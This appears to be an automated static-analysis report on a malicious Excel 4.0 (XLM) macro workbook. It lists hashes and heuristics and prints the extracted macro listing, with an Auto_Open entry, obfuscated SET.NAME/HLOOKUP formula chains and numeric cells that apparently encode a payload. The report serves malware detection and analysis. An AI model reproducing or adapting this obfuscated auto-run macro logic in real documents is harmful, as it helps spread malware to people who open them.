Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9df2430db426c32f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:22 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5cf4a4328dc5c5caf8d58e35d8bf6b04 SHA-1: 201fede05b13c672f897c4c7fbbcabdbf085bb11 SHA-256: 9df2430db426c32fcc3556b50582b37cd5ff81a5d836cd6e5bbc0de23e7d52c5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6733 bytes
SHA-256: cf76082bfccfbf824eda2a8f224b1e83785e0902c5161438a37d35470fb505d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eMJzAFe
' 0018     25 LABEL : Cell Value, String Constant - ANrxcWyHOt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G146 
' 0018     21 LABEL : Cell Value, String Constant - cFGdot len=0 
' 0018     22 LABEL : Cell Value, String Constant - CpFtAkD len=0 
' 0018     26 LABEL : Cell Value, String Constant - EQfEqxwonIc len=0 
' 0018     22 LABEL : Cell Value, String Constant - fwXfElr len=0 
' 0018     25 LABEL : Cell Value, String Constant - GLSKPvAHuI len=0 
' 0018     25 LABEL : Cell Value, String Constant - IaYZXkrzMz len=0 
' 0018     23 LABEL : Cell Value, String Constant - IgFrrnbO len=0 
' 0018     27 LABEL : Cell Value, String Constant - mqLfIMzzxAbS len=0 
' 0018     24 LABEL : Cell Value, String Constant - NDGKjZTkm len=0 
' 0018     27 LABEL : Cell Value, String Constant - nJWfCmTJKkKS len=0 
' 0018     21 LABEL : Cell Value, String Constant - pkpoKc len=0 
' 0018     20 LABEL : Cell Value, String Constant - PLPQa len=0 
' 0018     26 LABEL : Cell Value, String Constant - qTRQIbRhfcx len=0 
' 0018     26 LABEL : Cell Value, String Constant - RFsIcXhnZcN len=0 
' 0018     24 LABEL : Cell Value, String Constant - rxJxDrdPl len=0 
' 0018     20 LABEL : Cell Value, String Constant - UeNbF len=0 
' 0018     22 LABEL : Cell Value, String Constant - xiwEHTk len=0 
' 0018     26 LABEL : Cell Value, String Constant - zGmxkFlNiFK len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZroTpPXWUsui len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eMJzAFe,G44,"SET.NAME("NDGKjZTkm",0+VALUE("0"))",""
'  eMJzAFe,G49,"SET.NAME("xiwEHTk",NDGKjZTkm)",""
'  eMJzAFe,G53,"SET.NAME("GLSKPvAHuI",NDGKjZTkm)",""
'  eMJzAFe,G58,"SET.NAME("cFGdot",COUNTA(IgFrrnbO))",""
'  eMJzAFe,G60,"SET.NAME("pkpoKc",COUNTA(rxJxDrdPl))",""
'  eMJzAFe,G65,[],""
'  eMJzAFe,G69,"SET.NAME("nJWfCmTJKkKS","")",""
'  eMJzAFe,G74,"xiwEHTk",""
'  eMJzAFe,G79,"SET.NAME("fwXfElr",HLOOKUP("*",IgFrrnbO,xiwEHTk,FALSE))",""
'  eMJzAFe,G84,"CpFtAkD",""
'  eMJzAFe,G86,"SET.NAME("EQfEqxwonIc",NDGKjZTkm)",""
'  eMJzAFe,T86,"",-758.00000000000000000000
'  eMJzAFe,T87,"",-711.00000000000000000000
'  eMJzAFe,T88,"",-750.00000000000000000000
'  eMJzAFe,T89,"",446.00000000000000000000
'  eMJzAFe,T90,"",-333.00000000000000000000
'  eMJzAFe,G91,[],""
'  eMJzAFe,T91,"",122.00000000000000000000
'  eMJzAFe,G94,"EQfEqxwonIc",""
'  eMJzAFe,G98,"ZroTpPXWUsui",""
'  eMJzAFe,G102,"IaYZXkrzMz",""
'  eMJzAFe,G106,"qTRQIbRhfcx",""
'  eMJzAFe,G110,"SET.NAME("zGmxkFlNiFK",VALUE(HLOOKUP("*",rxJxDrdPl,qTRQIbRhfcx,FALSE)))",""
'  eMJzAFe,G115,"PLPQa",""
'  eMJzAFe,G118,"nJWfCmTJKkKS",""
'  eMJzAFe,G120,"GLSKPvAHuI",""
'  eMJzAFe,G125,NEXT(),""
'  eMJzAFe,G130,"ANrxcWyHOt",""
'  eMJzAFe,G132,[],""
'  eMJzAFe,G135,"UeNbF",""
'  eMJzAFe,G139,NEXT(),""
'  eMJzAFe,G144,RETURN(),""
'  eMJzAFe,G174,"SET.NAME("mqLfIMzzxAbS",G44)",""
'  eMJzAFe,G179,"IgFrrnbO",""
'  eMJzAFe,G181,"SET.NAME("rxJxDrdPl",R67C13)",""
'  eMJzAFe,G183,"SET.NAME("UeNbF",191)",""
'  eMJzAFe,G188,"SET.NAME("RFsIcXhnZcN",7)",""
'  eMJzAFe,G190,mqLfIMzzxAbS(),""
'  eMJzAFe,G191,HALT(),""

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